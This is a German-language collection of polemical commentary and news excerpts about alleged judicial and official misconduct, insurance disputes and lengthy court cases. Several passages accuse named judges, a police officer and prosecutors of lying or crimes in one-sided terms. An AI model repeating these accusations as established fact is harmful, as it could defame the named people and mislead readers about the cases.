Die Versicherung hat nicht aufgrund ziviler Haftungsaufteilungsmöglichkeiten untersucht und entschieden, sondern willkürlich ohne Prüfung reguliert. Alle Grüde warum diese so reguliert hat sind erst später erfunden worden.

Das mit dem zu schnell fahren der Zweitunfallverursacherin ist doch schon völlger Quatsch. Diese muß physikalisch zu schnell gefahren sein bevor es zu dem Unfall kam, denn sonst hätte diese ja anhalten können.
Die Staatsanwaltschaft konnte also nicht feststellen, dass diese schneller wie die zulässige Höchstgeschwindigkeit gefahren ist. Diese hätte aber auch wesentlich schneller fahren können, wie viele andere Fahrzeuge, die die Unfallstelle passierten eben auch, weil die Unfallstelle so gut beleuchtet und aus einer so großen Entfernung gut sichtbar war, dass man auch bei wesentlich überschrittener Höchtsgeschwindigkeit vor dieser anhalten konnte. Das zu schnelle fahren wäre dann nicht (allein) Unfallursache, sondern in beiden Fällen wäre es das fehlern lassen der erforderlichen Aufmerksamkeit.

Aufgrund dieser Beweismittel wurde gemäß dem Ombudsmann ermessenmäßig korrekt dem Erstunfallverursacher 100% Schuld zugewiesen und dem Zweitunfallverursacher 0%, weil man nur allein aufgrund der Beweislage gemäß der strafrechtlichen Entscheidungen der Staatsanwaltschaft zu diesem Ergebnis kommen kann.

Hier eine Entscheidung wo einem Auffahrenden ein 100% Verschulden zugewiesen wird wobei nachts rückwärts auf der Autobahn in einer unübersichtlichen Kurve auf dem Standstreifen ein Polizeiauto entgegen der Fahrtrichtung ohne Martinshorn den Fahrzeugführern entgegenfuhr und ein Warndreieck war noch nicht aufgestellt.

Der Ombudsmann überprüft also, wenn es um eine (un)korrekte festgestellte Verschuldenshaftung der eigenen Versicherung geht, dass die Entscheidung einer Versicherung nicht unsachgemäß oder willkürlich ist wobei er aber die von der Versicherung festgestellte Verschuldenshaftung nicht überprüft.
Der Ombudsmann überprüft also nicht ob eine Entscheidung einer Versicherung nicht korrekt ist, falsch ist oder ob es sich um einen Bearbeitungsfehler handelt, er prüft nur ob die Entscheidung der Versicherung nicht ermessensfehlerhaft (willkürlich oder unsachgemäß) war. Wenn es gegen den Beschwerdeführer geht werden dabei auch alle Beweismittel verwendet, die juristisch aus Alltagsweißheiten und Stammtischwahrheiten bestehen.

Wenn man Schwierigkeiten mit der eigenen Versicherung hat kann man aber den Ombudsmann einschalten – Ja, aber doch nur wenn man nichts besseres zu tun hat.

Nachdem nun der Ombudsmann entschieden hat erklärt ein Anwalt der Versicherung zum Beweis, dass dem Beschwerdeführer keine Rechte zustehen, dass der Ombundsmann entsprechende Rechte des Beschwerdeführers bereits zurückgewiesen habe. …Die Versicherung des Beschwerdeführers habe die Haftungsaufteilung allerdings nicht aufgrund der strafrechtlichen Festellungen der Staatsanwaltschaft geprüft (die bisher gemäß der Versicherung und gemäß dem Ombudsmann nur ganz allein entscheidend sind), sondern nun aufeinmal allein aufgrund der Beurteilung der (zivilrechtlichen) Betriebsgefahren der beiden Fahrzeuge.

Wenn Richter Serra Oliveira sich mit den Naturgesetzen anlegt, 13.08.2003
Der Richter am Landgericht (Braunschweig) Serra Oliveira gehört entweder umgehend wegen ‚geistiger Schwäche‘ suspendiert oder aber wegen Rechtsbeugung selbst vor Gericht gestellt und bestraft.
Ein Polizist fährt rückwärts auf der Autobahn und ein Richter hält seine dreisten Lügen bei Gericht für ‚glaubwürdig‘, um ihn vor Strafverfolgung und den Staat vor Schadenersatzzahlungen zu schützen. Und dabei ist es dem Richter entweder gleichgültig oder aber nicht erkennbar, dass die Aussage des Polizisten im Widerspruch zu Naturgesetzen steht, die jedes Kind aus eigener Erfahrung kennt.
Auf der Autobahn rückwärts fahren ist mörderisch gefährlich. Es wird darum nicht nur in der Straßenverkehrsordnung untersagt (§18 StVO). Es steht sogar als Straftat im Strafgesetzbuch (§315c StGB). Am 3.9.2001 gegen 22 Uhr fuhr auf der A391 bei Braunschweig ein Polizist mit dem Polizeiauto rückwärts auf der Autobahn und verursachte dadurch mehrere Unfälle (siehe den ausführlichen Bericht eines Unfallsbeteiligten, Dr. Ulrich Brosa).
Dr. Brosa will den ihm durch dieses unverantwortliche Verhalten entstandenen Schaden erstattet haben. Er verklagt das Land Niedersachen auf Schadenersatz.
Am 24. 5. 2002 kommt es zur Verhandlung vor dem Landgericht in Braunschweig unter Vorsitz von Richter Serra Oliveira.
In der Straßenverkehrsordnung (StVO) gibt es zwei Sonderrechtsparagrafen, § 35 und § 38. § 38(1) besagt, dass außerordentliche Wegerechte von Sonderrechtsfahrzeugen nur dann in Anspruch genommen werden dürfen, wenn Blaulicht und Einsatzhorn zugleich in Betrieb sind. (Hentschel, Straßenverkehrsrecht, 36. Auflage 2001, hebt in der Randnummer 9 zum § 38 StVO fett hervor: „Nur beide Warnvorrichtungen zusammen schaffen Vorrecht.“) Der Polizist Schniete hatte aber vergessen, das Einsatzhorn einzuschalten, als er auf der Autobahn rückwärts fuhr, was auch vor Gericht unstrittig ist.
Um diesen eindeutigen Verstoß des Polizisten gegen die Straßenverkehrsordnung zu ‚heilen‘, machte sich Richter Serra de Oliveira die völlig groteske Falschaussage des verantwortlichen Polizisten zu eigen. Dieser hatte in der Verhandlung behauptet: „Das Martinshorn strahlt nach vorne, nicht nach hinten aus“, siehe Protokoll vom 24.5.2002, Seite 2. Richter Serra de Oliveira hatte in der Verhandlung auf diese Behauptung geradezu begeistert reagiert: „Ach ja? Das wusste ich gar nicht!&qot; In seiner Urteilsbegründung vom 16.8.2002, Seite 5, sieht er sich dann berechtigt zu schreiben: „Aufgrund des vorgenannten Ergebnisses der Beweisaufnahme hat der Zeuge Schniete schließlich auch mit größtmöglicher Sorgfalt gehandelt. Vorgeworfen werden kann ihm nicht, daß er – was unstreitig ist – das Martinshorn nicht eingeschaltet hat. Dies deshalb, weil das Martinshorn nach der glauhaften Aussage des Zeugen Schniete ohnehin nur nach vorne schallt.“
Wie soll man diese Begründung von Richter Serra Oliveira werten? Entweder weiß er es wirklich nicht besser, dann müsste ihm aufgrund „geistiger Schwäche“ mit sofortiger Wirkung die weitere Ausübung des Richterberufs untersagt werden! Wenn er allerdings eine falsche Zeugenaussage wissentlich als richtig (wahr) anerkennt, dann ist er kriminell, und dann gehört er bestraft.
Tatsache ist jedenfalls, dass Polizist Schniete mit seiner dreisten Falschaussage und Richter Serra de Oliveira sich in diesem Fall mit den Naturgesetzen ‚angelegt‘ haben, Naturgesetze noch dazu, die jedem Kind aufgrund alltäglicher Erfahrung bekannt sind. Im der Sprache des Physikers, Dr. Ulrich Brosa: „In großen Abständen von der Quelle breitet sich Schall ‚isotrop‘ aus. – In der Multipol-Entwicklung des Schallfelds dominiert bei großen Abständen der Monopol-Term. Lediglich im sogenannten Nahfeld kann eine Richtung bevorzugt werden. Indessen sind Effekte des Nahfelds weitestens in 10 m Abstand vom Einsatzhorn abgeklungen.“
Man benötigt auch wahrlich keinen Sachverständigen, um sicher zu wissen, dass Polizist Schniete gelogen hat. Die alltägliche Erfahrung mit Sonderrechtsfahrzeugen genügt. Man hört deren Sirenen von allen Seiten. Selbst wenn es sie gäbe, wären Sirenen, die nur in eine Richtung strahlen, sehr gefährlich, ihre Verwendung daher grob fahrlässig. Denn wenn beispielsweise ein Polizeiauto, Vorfahrt beanspruchend, in einen Kreuzungsbereich einfährt, müssen die Verkehrsteilnehmer allseitig gewarnt werden.

Der hessische Steuerfahnder Skandal- Der Staat am Abgrund zum Willkürstaat, psychologische Gefälligkeitsgutachten, 28.11.2009
„Bekloppt“ ist, wer gegen den Willen seiner Vorgesetzten und den Widerstand der Politik, die Steuern des Bürgerstaates eintreiben will. – Was wie ein „Strafsatz“, ehemals auf jedem DM-Schein aufgedruckt, klingt, ist in Hessen Wirklichkeit geworden. – Solche Leute werden mit psychiatrischen Gutachten kalt gestellt.
Achteinhalb Jahre nach dem Beginn der eigentlichen Affäre kommen Tag um Tag neue brisante Informationen zur Zwangspensionierung der hessischen Steuerbeamten ans Licht, die ihren Vorgesetzten deshalb nicht mehr genehm waren, weil sie sich grundsätzlich und entschieden einer Weisung widersetzten, bei den aufgedeckten Finanz-Transaktionen nur noch oberhalb von Gesamtsummen von 500.000 DM (255.000 €) und mehr von einem Prüfauftrag ausgehen zu sollen. Sie sahen das deshalb nicht als zielführend an, weil die Transaktionsbeträge von Steuerhinterziehern in großen Stil geschickt gestückelt werden und einige deutsche Großbanken dabei halfen das Geld ins nahe Ausland zu schaffen.
Besonders ihre Ermittlungen in der Commerzbank und bei der Deutsche Bank störten, obwohl sie dem Staat Millionen an Steuernachzahlungen und Strafzahlungen einbrachten. Ihre Recherche nach den scheuen „DM-Euro-Rehlein“ auf lichtensteinischen Konten macht sie verhasst. Schließlich lagerten dort auch die ca. 30 Millionen Euro illegaler „Stiftungsgelder“ der hessischen CDU.

Nach 41 Jahren und 89 Prozessen wegen eines profitablen Patent-Raubs:
Ein BAYER-Mann packt aus
82 Jahre alt ist der Düsseldorfer Erfinder Heinz Süllhöfer. Die Hälfte seiner Lebenszeit hat er wegen eines Patent-Raubs durch BAYER mit dem Leverkusener Konzern Prozesse geführt, weil der ihm nach seiner Schätzung um die 500 Millionen Euro schuldet. Mit Teilerfolgen. Aber die Gerichte machten es ihm nicht eben leicht. Nun erhielt er von einem anonymen ehemaligen BAYER-Mitarbeiter geheime Unterlagen aus den Konzernarchiven zugespielt, die neue Beweise für den Patent-Raub liefern. „Hoffentlich bekommen Sie endlich Ihr Recht“, heißt es in dem Schreiben des Anonymus.
…Für Süllhöfer steht nach der Lektüre der geheimen Aufzeichnungen fest, „dass Strauss für den BAYER-Konzern einen Meineid initiierte“.
Einen nicht unwesentlichen Beitrag zum Gelingen seiner Prozessführung dürften dabei auch die gutnachbarschaftlichen Beziehungen geleistet haben, die BAYERs Justiziar und Anwalt Joachim Strauss zu dem von 1981 bis 2004 mit dem „Fall Süllhöfer“ befassten Richter Gisbert Steinacker unterhielt.

Marathon-Prozess um Baumängel, Fakt, Das Erste, 03.05.2010
Seit 20 Jahren prozessiert Familie Schramm aus Bayern wegen gravierender Baumängel gegen den Architekten ihres Hauses. FAKT hat mehrfach über den Fall berichtet. Aber er ist nur einer von vielen, bei denen sich Gerichtsverfahren hinziehen. Bundesjustizministerin Leutheusser-Schnarrenberger will jetzt gegen langsame Gerichte vorgehen.
Jetzt hat das OLG anscheinend die Hoffnung aufgegeben, dass das Landgericht überhaupt in der Lage sein könnte diesen Fall rechtmäßig zu behandeln. Jetzt will das OLG die Sache lieber selbst entscheiden. Aber auch dort liegt der Fall jetzt schon seit 4 Jahren.
Wie in vielen ähnlichen Fällen, hat die lange Verfahrensdauer nicht nur viel Geld gekostet, sondern die Kläger auch mürbe und krank gemacht.
„20 Jahre vom Leben genommen! Und es ist immer noch nicht zu Ende. Wir müssen immer noch bangen und warten.“

Karlsruhe rügt 22-Jahre-Prozess, 07.08.2009
Das Verfassungsgericht hat das Recht der Bürger auf ein zügiges Verfahren gestärkt. Die Richter gaben der Beschwerde einer Frau statt, die seit mehr als 20 Jahren einen Schadenersatzprozess führt.
Nach dem am Freitag veröffentlichten Beschluss verletzt das Endlosverfahren beim Landgericht Hamburg das Recht der Klägerin auf effektiven Rechtsschutz. Das Landgericht müsse den Prozess nun „unverzüglich“ zum Abschluss bringen, ordneten die Karlsruher Richter an. Nach 22 Jahren sei die Grenze des „noch Hinnehmbaren deutlich überschritten“, hieß es in dem einstimmigen Beschluss.

Rechtsblindheit, eine Krankheit, die nur rechtskundigen Richtern und Juristen vorbehalten ist:
Zur Meldung vom 24. 11.2006 „Rechtsbeugung: Richter angeklagt“ verlautete aus Justizkreisen die unbestätigte Information, dass die Generalstaatsanwaltschaft nicht tätig geworden wäre, wenn dem keine Klage vor dem EGMR vorausgegangen wäre.
Die europäische Menschenrechtskonvention wurde am 04.11.1950 von Deutschland unterzeichnet. Art.46 der Konvention lautet zur Verbindlichkeit und Vollzug der Urteile: „Die Hohen Vertragsparteien verpflichten sich, in allen Rechtssachen, in denen sie Partei sind, das endgültige Urteil des Gerichtshofes zu befolgen.“ Das Bundesverfassungsgericht entschied am 14.10.2004, dass die Entscheidungen des Europäischen Gerichtshofs für deutsche Gerichte nicht bindend seien.
Wäre Deutschland nicht 2004 bereits Mitglied der EU, hätte es wahrscheinlich Probleme, in die EU aufgenommen zu werden.
Aus diesen Gründen ist es natürlich nicht klar, ob das Verfahren gegen die Richter überhaupt eröffnet wird.
Die Richter könnten zum Beispiel auf „Rechtsblindheit“ plädieren. In der Februar-Ausgabe des Nachrichtenmagazins der „Spiegel“ 1994 berichtete der Redakteur Rolf Lamprecht von dem Umgang der deutschen Justiz mit NS-und SED-Richtern. Unter dem Titel „Feispruch für Rechtsblinde“ schildert der Autor den Umgang der deutschen Justiz mit ihren eigenen Kollegen. Dafür wurde extra die „Rechtsblindheit“ als straf- mildernder oder ausschließender Faktor für Richter gefunden.Was für NS- und SED- Richter recht war, ist sicher bei einer „Lappalie“ (es geht im vorliegenden Fall „nur“ um die Familiensache eines türkischen Bürgers), den bundesdeutschen Richtern billig.
Natürlich darf kein Mensch außerhalb der Richterschaft auf „Rechtsblindheit“ plädieren. Diese Erkrankung ist nur Juristen vorbehalten und noch nicht ausreichend wissenschaftlich erforscht.

Befremdlicherweises einschränken der Strafvorschrift Rechtsbeugung durch die Juristen selbst
„Befremdlicherweise versuchen die Justiz und Teile der Rechtswissenschaft immer wieder, den Anwendungsbereich dieser Strafvorschrift (Rechtsbeugung, § 336 StGB) einzuschränken. … Die Einschränkung der Strafbarkeit der Rechtsbeugung auf ‚elementare Verstöße gegen die Rechtspflege‘, die ‚Entfernung von Recht und Gesetz in schwerwiegender Weise‘ ist jedoch ein bedenklicher Weg. Wenn ein Arzt sich bei der Verabfolgung einer Spritze um eine Dezimalstelle hinter dem Komma irrt, wird er wegen fahrlässiger Tötung oder Körperverletzung bestraft. Wie läßt es sich da rechtfertigen, daß Richter und Staatsanwälte nur bei schwerwiegenden vorsätzlichen Rechtsverletzungen strafbar sein sollen?“
Professor Dr. Friedrich-Christian Schroeder – Regensburg

Strafanzeige wegen „Rechtsbeugung“ gegen BGH-Bankensenat, 18.12.2004
Im Streit um die sogenannten Schrottimmobilien hat ein Käufer aus Magdeburg Strafanzeige wegen Rechtsbeugung gegen den gesamten für das Bankenrecht zuständigen XI. Senat des Bundesgerichtshofs (BGH) erstattet. „Eine solche Anzeige gegen oberste Richter ist nach meiner Kenntnis ebenso einmalig wie die ihr zu Grunde liegende Rechtsverdrehung“, sagte am Freitag der Göttinger Verbraucheranwalt Reiner Füllmich. Die Staatsanwaltschaft Magdeburg bestätigte den Eingang der Strafanzeige.
In dem 45seitigen Papier, wirft Füllmich im Auftrag des Magdeburger Klägers den hohen Richtern vor, ein „Sonderschutzrecht für Banken frei erfunden“ zu haben und Verbraucherklagen ohne Einhaltung zwingender Verfahrensvorschriften abzuweisen. „Hier wird das geltende Recht komplett auf den Kopf gestellt“, sagte der Anwalt. Bislang habe es erst eine Anzeige gegen einen BGH-Richter gegeben, die Füllmich selbst für andere Mandanten im Sommer 2002 ebenfalls gegen den Vorsitzenden des BGH-Bankensenats, Gerd Nobbe, erstattet habe. Die Staatsanwaltschaft Karlsruhe stellte damals die Ermittlungen allerdings ein.
In der neuen Anzeige wirft Füllmich Nobbe auch „Vorteilsnahme“ vor, weil er für seine Teilnahme an von Banken veranstalteten Seminaren Honorare in vermutlich für Richter unzulässiger Höhe erhalte.

Der BGH wendet die Vorschrift der richterlichen Rechtsbeugung gesetzeswidrig zu richterlichen Gunsten an:
Die Professoren Bemmann, Seebode und Spendel werfen dem BGH in der Zeitschrift für Rechtspolitik 1997, 307f, vor, diese Strafvorschrift gesetzwidrig auszulegen und anzuwenden. Diese gesetzwidrige Auslegung und Anwendung, die den Gesetzeswortlaut missachtet, führt dazu, dass die der Rechtsprechung auferlegte Selbstkontrolle praktisch außer Kraft gesetzt wird.
Auch für die Rechtsprechung gilt: Unkontrollierte Macht korrumpiert.

Richter Monjé, Oberverwaltungsgericht Berlin: Rechtsbeugung aus Korpsgeist?, VG 12 A 1375.96 25.02.1998
Der Fall ist alt, nahm seinen Beginn schon in den 90er Jahren. Es geht um eine nicht anerkannte Prüfungsarbeit für eine Diplomprüfung. Das ist nicht spektakulär. Dennoch gehört dieser Fall an die Öffentlichkeit, denn die fehlende Logik in den Urteilsbegründungen und die von der Justiz angewandten Verfahrenstricks sind ein Skandal !
Das Opfer, Wilhelm Kauk (Berlin), schreibt: „Richter dürfen irren und Richter dürfen inkompetent sein; es ist deshalb nicht sinnvoll, gegen eine richterliche Entscheidung eine Anzeige wegen Rechtsbeugung zu erstatten. Hier wird vorsätzlich ein Verfahren entscheidendes Dokument unterdrückt. Das Berücksichtigen eines Verfahren entscheidenden Dokuments ist eine gesetzlich vorgeschriebene Pflicht und nicht Sache richterlicher Entscheidungsfreiheit. Vor Gericht gibt es in diesem Fall keinen Rechtstreit, nur eine Tatsachenfeststellung.
Der Korpsgeist unter Richtern und Staatsanwälten deckt straffällig gewordene Kollegen. Die Akten ruhen im Archiv; so gelangen Missstände der Justiz nicht an die Öffentlichkeit. Der Staatsanwaltschaft wurde ein Verbrechen angezeigt; und sie weigert sich zu ermitteln — die Berliner Justiz kommt ihren Pflichten nicht nach. Die Justiz ist unabhängig, aber sie funktioniert nicht und steht selbst unter Verdacht, Straftaten zu decken. Hier ist die Justizsenatorin verpflichtet einzuschreiten. Dieser gravierende Fall gibt hinreichend Anlass zur Bildung eines Untersuchungsausschusses im Berliner Senat zur Aufdeckung der Missstände in der Berliner Justiz. Die Medien sind aufgefordert, die nötige Öffentlichkeit zu schaffen, damit der Bürger über diesen Fall informiert wird und nichts unter dem Teppich bleibt.“

“Urkundenfälschung durch Staatsanwälte ‘nicht widerrechtlich’?”, 9. Oktober 2001 Frankfurter Rundschau
Bei der Generalstaatsanwaltschaft in Frankfurt scheint man es mit Urkunden nicht allzu genau zu nehmen.
“Ermittlungsverfahren gegen zwei Mitarbeiter der Generalstaatsanwaltschaft eingestellt – Kritiker der Entscheidung sprechen von Rechtsbeugung.
Nun ist dieser neue Fall von “Rechtsauffassung” der Generalstaatsanwaltschaft Frankfurt eine Petitesse verglichen mit dem hier dargestellten Fall von “Rechtsauffassung” der Oberstaatsanwältin Andrea Gallandi – ebenfalls der Generalstaatsanwaltschaft Frankfurt angehörig.
Ist es eine lässliche Sünde, wenn in einer laufenden und strittigen Erbauseinandersetzung die Interessenvertreterin einer Miterbin eine beschriftete Urkunde – beweiskräftig wie ein Testament – aus dem Haus und den Unterlagen einer Erbengemeinschaft entnimmt und in den Banktresor ihrer Klientin “transferiert”?
Ohne jemals den hintergangenen Miterben über den Fund und Transfer der Urkunde zu informieren?
Für Gallandi ist dieses (unbestrittene!) Vorgehen nicht einmal der Rede wert. […]
Diesen Vorgängen und diesem Vorgehen erteilt Gallandi bzw. die Generalstaatsanwaltschaft Frankfurt die Absolution.
Was schreibt zu solchen Vorgängen und Zuständen Anne Riedel in der Frankfurter Rundschau:
“Ein Narr, der noch glaubt, in der Justiz werde mit einer Elle gemessen.”
Rechtsbeugung? Oberstaatsanwältin Andrea Gallandi (Generalstaatsanwaltschaft Frankfurt) sagte die Unwahrheit – ohne Konsequenzen fürchten zu müssen

Rechtsbeugung begehender Beamter kann aus dem Dienst entfernt werden („Knöllchen-Affäre“ um Franz Beckenbauers Geschwindigkeitsüberschreitung), 13.02.2009
Einem städtischen Bediensteten, der an einer Rechtsbeugung (Straftat) mitwirkt, ist ein ebenso schwerer Vorwurf zu machen, wie einem Richter oder Staatsanwalt. Er ist daher ebenso aus Gründen der Generalprävention aus dem Dienst zu entfernen. Dies hat der Bayerische Verwaltungsgerichtshof entschieden.
Entfernung aus dem Dienst aus Gründen der Generalprävention notwendig
In der mündlichen Urteilsbegründung ließ der Vorsitzende Richter des Disziplinarsenats erkennen, dass der Beamte durch die Einstellung des Bußgeldverfahrens den Tatbestand einer Rechtsbeugung verwirklicht habe. Einem Beamten, der über die Verhängung oder Nichtverhängung eines Bußgelds aus unsachlichen Beweggründen (z.B. um einer prominenten Person einen Nachteil zu ersparen) entscheide, sei ein ebenso schwerer Vorwurf zu machen wie einem Richter oder Staatsanwalt, der entsprechend handle. Nachdem es sich bei der Rechtsbeugung um einen Verbrechenstatbestand handle, und ebenso aus Gründen der Generalprävention sei der Betroffene aus dem Dienst zu entfernen gewesen, auch wenn es sich bei ihm ansonsten um einen tüchtigen Beamten handle. Es entspreche aber der Billigkeit, ihm bis zum 31. Januar 2010 einen Unterhaltsbeitrag in Höhe von 50 % seiner Dienstbezüge zuzuerkennen.

Die unerträgliche Leichtigkeit der Rechtsbeugung oder warum die Bundesrepublik Deutschland eine juristische Revolution braucht, 29.10.2010
Kommt ein Polizist und befiehlt einem Passanten die Straßenseite zu wechseln. Der Passant zum Polizisten: „Mein Grundrecht auf Freizügigkeit gemäß Art. 11 Abs. 1 GG bindet Sie gemäß Art. 1 Abs. 3 GG als unmittelbar geltendes Recht.“, darauf der Polizist: „Sie können ja klagen.“
Das Grundgesetz erklärt in einer jedem Bürger (Normadressat) verständlichen juristischen Sprache in Art. 1 Abs. 1 GG den Schutz der Grundrechte und in Art. 1 Abs. 3 GG ihre Wirkung als unmittelbar geltendes Recht gegenüber der Gesetzgebung, öffentlichen Gewalt und Rechtsprechung zur obersten Leitmaxime aller staatlichen Gewalt, welche gemäß Art. 20 Abs. 2 GG vom Volke ausgeht, und in Wahlen und Abstimmungen und durch besondere Organe der Gesetzgebung, der vollziehenden Gewalt und der Rechtsprechung zum Schutze der Grundrechte ausgeübt wird.
…Wird jemand durch die öffentliche Gewalt in seinen Rechten verletzt, so steht ihm“ gemäß Art. 19 Abs. 4 GG „der Rechtsweg offen“. Der Justizgewährleistungsanspruch und die in ihm enthaltende Rechtsweggarantie bilden das juristische Bollwerk gegen Verletzungen der Grundrechte durch die öffentliche Gewalt und wird deshalb auch die Königin der Vorschriften genannt.
Unrechtsstaat Bundesrepublik Deutschland
…Wird jemand durch die öffentliche Gewalt in seinen Rechten verletzt, so steht ihm kein Rechtsweg offen. Der Rechtswegausschluss bildet das juristische Bollwerk für Verletzungen der Grundrechte durch die öffentliche Gewalt und wird deshalb auch der „unsichtbare Rechtsweg“ genannt.
Faustregel: Staatliche Gewalt bindet die Grundrechte. Sie ist Abwehrrecht des Staates gegen den Bürger. Gewalt gegen Grundrecht.

Beamter zeigt Minister Ramsauer wegen Untreue und Rechtsbeugung an, 19.08.2010
Hamburger Behörde und Ministerium sollen Millionen Euro verschwendet haben. Ein Ex-Beamter zeigt Verkehrsminister Ramsauer an.
Der ganze Schlamassel begann mit einem schusseligen Mitarbeiter der Poststelle. Der Mann tütete eine Akte falsch ein, schickte sie irrtümlich an Klaus-Peter Dauer, 66 – und leitete so eine Affäre ein, die vom Hamburger Bundesamt für Seeschifffahrt und Hydrographie (BSH) die Ministeriumsspitze in Berlin erreicht hat. Verkehrsminister Peter Ramsauer (CSU) ist ebenso eingebunden wie das Dezernat Korruptionsbekämpfung seines Hauses, die Gewerkschaft Ver.di, die Staatsanwaltschaften in Hamburg und Berlin. Denn Dauer hat Ramsauer jetzt angezeigt. Der inzwischen pensionierte Beamte des BSH wirft dem Minister Untreue, falsche Verdächtigung und Rechtsbeugung im Amt vor.
Als eines Märzmorgens in diesem Jahr die Hamburger Staatsanwaltschaft für eine Razzia vor Dauers Wohnungstür in Elmshorn stand, wurde ihm klar: Seine permanenten Nadelstiche gegen angebliche Millionenverschwendung in der Behörde und im Ministerium hatten eine neue Dimension erreicht.
Dauer warf dem BSH und dem Ministerium vor, dass sie über Jahre den Personalräten (Betriebsräte) Reisen und Übernachtungen bei Gewerkschaftskonferenzen bezahlten. Noch als Innenminister hatte Wolfgang Schäuble (CDU) in einem internen Rundschreiben darauf hingewiesen: Diese Praxis ist verboten. Er wollte unsinnige Reisen der Bundesbeamten und die verdeckte Unterstützung für Ver.di-Veranstaltungen unterbinden. Bei der Hausdurchsuchung in Elmshorn beschlagnahmten die Beamten Dauers Computer. Er soll Dienstgeheimnisse verraten und die besagte Akte gestohlen haben. Dauer sagt: Ihm sei die Akte irrtümlich aus dem BSH zugeschickt worden, weil er als Telearbeiter permanent Post von der Behörde bekam. „Da wurde ein Diebstahl konstruiert, um bei mir eine Hausdurchsuchung machen zu können.“ Die Beamten winkten ab und packten seinen PC ein. Drei Wochen später bekam Dauer ihn wieder – blank geputzt, ohne eine Datei auf der Festplatte.

Anwältin vermutet Rechtsbeugung, politisch Gefangene, 07.08.2009
Anwältin moniert, dass die verdächtigte Auto-Zündlerin Alexandra R. nur wegen des öffentlichen Drucks in U-Haft bleiben müsse.
Das Urteil des Berliner Landgerichts, wonach die mutmaßliche Autozündlerin Alexandra R. weiter in Untersuchungshaft bleiben muss, wird von deren Rechtsanwältin Martina Arndt scharf kritisiert. Ihr sei als Anwältin vom Landgericht keine Frist zur Stellungnahme gewährt worden. „Das Landgericht hat unter Umgehung des verfassungsrechtlichen Grundsatzes des rechtlichen Gehörs seine Entscheidung getroffen“, moniert Arndt.
Das Landgericht hatte am Dienstag entschieden, dass R. in Untersuchungshaft bleiben muss. Damit revidierte es auf Antrag der Staatsanwaltschaft eine Entscheidung des Amtsgerichts Tiergarten, das vor einer Woche beim Haftprüfungstermin den Haftbefehl gegen Meldeauflagen und die Zahlung einer Kaution von 15.000 Euro außer Vollzug gesetzt hatte. Die 21-Jährige aus der linken Szene sitzt seit Mitte Mai wegen des Verdachts der Brandstiftung an einem Pkw in Untersuchungshaft.
Der Haftbefehl gegen R. war damals erst ausgestellt worden, nachdem Boulevardmedien und CDU-Politiker die Freilassung der Frau heftig kritisiert und eine härtere Gangart gegen Autozündler gefordert hatten. Mit der Entscheidung des Landgerichts werde die weitere Anordnung der Untersuchungshaft für straffremde Zwecke missbraucht, um dem öffentlichen und politischen Druck gerecht zu werden, kritisiert Arndt. Beim Berliner Landgericht wollte dazu keiner Stellung nehmen.

Amtswillkür und Rechtsbeugung durch deutsche Beamte als neuer Amtssport, 22.01.2009
Viele deutsche Beamte scheinen einen neuen Sport entdeckt zu haben – Amtswillkür und Rechtsbeugung verbreitet sich Zusehends in deutschen Amtsstuben.
Während sich mancher Beamte vor Arbeit nicht retten kann, scheinen andere zu viel Zeit zu haben und haben daher, zur Rechtfertigung der eigenen Stelle oder zur Profilierung für bevorstehende Beurteilungen (nur durch diese kann ein Beamter „Karriere“ machen) einen neuen Sport entdeckt.
Amtswillkür und Rechtsbeugung
Jedes Land braucht Gesetze und Regeln. Dies ist unbestreitbar und auch richtig. Falsch hingegen ist es, wenn Beamte ihre Position oder Funktion dahingehend nutzen, um der eigenen Profilierungssucht nachzukommen und dabei willkürlich agieren und das Recht für sich beugen.
Innerhalb der letzten 24 Monate habe ich viele Fälle verfolgt und auch selbst erlebt, in denen genau dieses zu beobachten war. Dabei handelte es sich um eher „kleine“ Fällen, bei denen Beamte z.B. „Knöllchen“ verteilten die jeglicher Rechtsgrundlage entbehren, bis hin zu richtig „großen Fällen“, bei denen nach dem deutschen Gesetz durch die Beamten gleich eine Vielzahl von „Vergehen“ begangen wurden.
Erstaunlich (oder auch nicht) ist die Tatsache, dass sogenannte „Dienstaufsichtsbeschwerden“ oder gar „Fachaufsichtsbeschwerden“ bei den jeweiligen Vorgesetzten zu 99% wirkungslos bleiben. Getreu dem Motto „eine Krähe hackt der anderen kein Auge aus“ werden die Beschwerden einfach unter den Teppich gekehrt und der jeweilige „Täter“ hat keinerlei Strafen oder Belehrungen zu befürchten. In diesem Netz der Sicherheit wiegen sich diese Beamten umso sicherer und werden entsprechend auch umso dreister. Denkt man die Zusammenhänge zu Ende, muss zwischenzeitlich sogar in vielen Fällen von einer „Vorteilnahme im Amt“ gesprochen werden, da Beförderungen zwischenzeitlich für Beamte alles andere als leicht sind und nur „effektive“ Beamte eine Aussicht auf eine entsprechende Beurteilung haben.
In allen Fällen, die ich in den letzten 24 Monaten verfolgt, untersucht und auch erlebt habe, gab es gerade einmal eine einzige Behörde bei der die vorgesetzte Stelle reagierte und sogar entsprechend handelte – zumindest was die Einstellung des Verfahrens anging. Ob der Sachbearbeiter wirklich aufgrund der eingereichten Fachaufsichtsbeschwerde zitiert oder gar belehrt wurde entzieht sich selbstverständlich meiner Kenntnis.
Viele Behörden und Dienststellen wissen zu genau, dass das Einschalten eines Rechtsanwaltes in vielen Fällen teurer kommt als das auferlegte Bußgeld. Also werden Bußgelder erteilt, ohne dass es dafür einen rechtlichen Grund gibt, oder das Bußgeld wird in einer Höhe festgesetzt, die in keinem Verhältnis zur Tat steht. Es entwickelte sich daher in vielen Fällen eine regelrechte Masche bei der Beamte geltendes Recht in unterschiedlichsten Formen beugen, brechen oder schlichtweg sich darüber hinwegsetzen können.
Um nicht tatenlos diesem Treiben weiter zuzusehen, hat nun ein Stuttgarter bei der Staatsanwaltschaft Stuttgart eine Anzeige gegen einen solchen Beamten erstattet.

Bei einem Einbruch hat sich der Versicherte den Einbrechern in den Weg zu stellen! OLG-Frankfurt 7 U 15/01

Als Einbrecher seine Wohnung ausräumten, versteckte sich der Versicherte in einem anderen Zimmer. Anschließend wollte er den Schaden bei seiner
Hausratversicherung geltend machen. Der Versicherte zog vor Gericht, denn seine Versicherung zahlte keinen Pfennig. OLG-Frankfurt am Main: Der Versicherte ist verpflichtet, sich den Einbrechern in den Weg zu stellen – also genau das zu tun, wovor die Kripo in solchen Fällen dringend warnt. Die Versicherung bekam Recht und beglich den Schaden nicht.

